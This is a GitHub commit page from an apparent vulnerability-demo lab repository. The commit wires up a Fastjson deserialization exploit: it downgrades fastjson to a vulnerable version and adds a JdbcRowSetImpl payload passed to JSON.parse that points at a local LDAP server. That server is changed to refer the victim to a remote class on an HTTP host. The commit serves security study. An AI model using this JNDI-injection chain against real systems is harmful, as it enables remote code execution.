Skip to content

Commit 83aff0d

Browse files
committed
fastjson/fastjson1224.java
1 parent ac1d939 commit 83aff0d

File tree

8 files changed

+56
-32
lines changed

8 files changed

+56
-32
lines changed

vuldemo/.idea/workspace.xml

Lines changed: 48 additions & 27 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

vuldemo/pom.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@
5050
<dependency>
5151
<groupId>com.alibaba</groupId>
5252
<artifactId>fastjson</artifactId>
53-
<version>1.2.47</version>
53+
<version>1.2.30</version>
5454
</dependency>
5555
<dependency>
5656
<groupId>com.unboundid</groupId>

vuldemo/src/main/java/vul/fastjson/fastjson1224.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -34,8 +34,8 @@ public static void main(String[] args) {
3434

3535
"\"dataSourceName\":\"ldap://127.0.0.1:1389/Weblogicpoc\",\"autoCommit\":true}";
3636
// "\"dataSourceName\":\"rmi://localhost:1090/Exploit\",\"autoCommit\":true}";
37-
38-
JSON.parse(payload);
37+
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Calc\",\"autoCommit\":true}";
38+
JSON.parse(poc);
3939

4040
// JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
4141
// try {

vuldemo/src/main/java/vul/util/Reflections.java

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,9 @@
1212
@SuppressWarnings ( "restriction" )
1313
public class Reflections {
1414

15+
public Reflections(String name) {
16+
}
17+
1518
public static void setAccessible(AccessibleObject member) {
1619
// quiet runtime warnings from JDK9+
1720
Permit.setAccessible(member);

vuldemo/src/main/java/vul/util/ldapserver.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ public static void main ( String[] args ) {
3535

3636
try {
3737
// URL地址可以修改成任意地址
38-
URL url = new URL("http://localhost:8080/#Exploit");
38+
URL url = new URL("http://localhost:6666/#Calc");
3939
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
4040
config.setListenerConfigs(new InMemoryListenerConfig(
4141
"listen", //$NON-NLS-1$
0 Bytes
Binary file not shown.
38 Bytes
Binary file not shown.

vuldemo/vuldemo.iml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@
2828
<orderEntry type="library" name="Maven: org.apache.commons:commons-collections4:4.0" level="project" />
2929
<orderEntry type="library" name="Maven: com.nqzero:permit-reflect:0.3" level="project" />
3030
<orderEntry type="library" name="Maven: javassist:javassist:3.12.0.GA" level="project" />
31-
<orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.47" level="project" />
31+
<orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.30" level="project" />
3232
<orderEntry type="library" name="Maven: com.unboundid:unboundid-ldapsdk:3.1.1" level="project" />
3333
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-databind:2.10.0" level="project" />
3434
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-annotations:2.10.0" level="project" />

0 commit comments

Comments
 (0)